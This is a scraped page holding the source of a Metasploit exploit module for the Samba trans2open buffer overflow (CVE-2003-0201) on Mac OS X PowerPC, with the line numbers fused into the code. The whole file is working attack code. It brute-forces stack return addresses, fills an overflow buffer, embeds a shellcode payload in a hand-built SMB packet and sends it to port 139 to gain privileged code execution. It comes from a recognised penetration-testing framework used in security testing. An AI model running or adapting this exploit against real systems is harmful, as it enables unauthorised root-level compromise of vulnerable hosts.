Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/samba/trans2open.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'Samba trans2open Overflow (Mac OS X PPC)',14'Description' => %q{15This exploits the buffer overflow found in Samba versions162.2.0 to 2.2.8. This particular module is capable of17exploiting the bug on Mac OS X PowerPC systems.18},19'Author' => [ 'hdm', 'jduck' ],20'References' =>21[22[ 'CVE', '2003-0201' ],23[ 'OSVDB', '4469' ],24[ 'BID', '7294' ],25[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]26],27'Privileged' => true,28'Payload' =>29{30'Space' => 1024,31'BadChars' => "\x00",32'MinNops' => 512,33},34'Platform' => 'osx',35'Arch' => ARCH_PPC,36'Targets' =>37[38[ 'Samba 2.2.x - Bruteforce',39{40# Not necessary on PPC41# 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack42'Offset' => 1195,43'Bruteforce' =>44{45'Start' => { 'Ret' => 0xbffffdfc },46'Stop' => { 'Ret' => 0xbfa00000 },47'Step' => 51248}49}50]51],52'DisclosureDate' => '2003-04-07',53'DefaultTarget' => 0))5455register_options(56[57Opt::RPORT(139)58])5960deregister_options('SMB::ProtocolVersion')61end6263# Need to perform target detection64def autofilter65false66end6768def brute_exploit(addrs)6970curr_ret = addrs['Ret']71begin72print_status("Trying return address 0x%.8x..." % curr_ret)7374connect(versions: [1])75smb_login7677# 1988 is required for findrecv shellcode78pattern = rand_text_english(1988)7980# This stream covers the framepointer and the return address81off = target['Offset']82pattern[off, 64] = [curr_ret].pack('N') * 168384# Stuff the shellcode into the request85pattern[3, payload.encoded.length] = payload.encoded8687trans =88"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+89"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+90"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+91"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+92"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+93"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+94pattern9596sock.put(trans)97handler98disconnect99100rescue EOFError101rescue => e102print_error(e.to_s)103end104105end106end107108109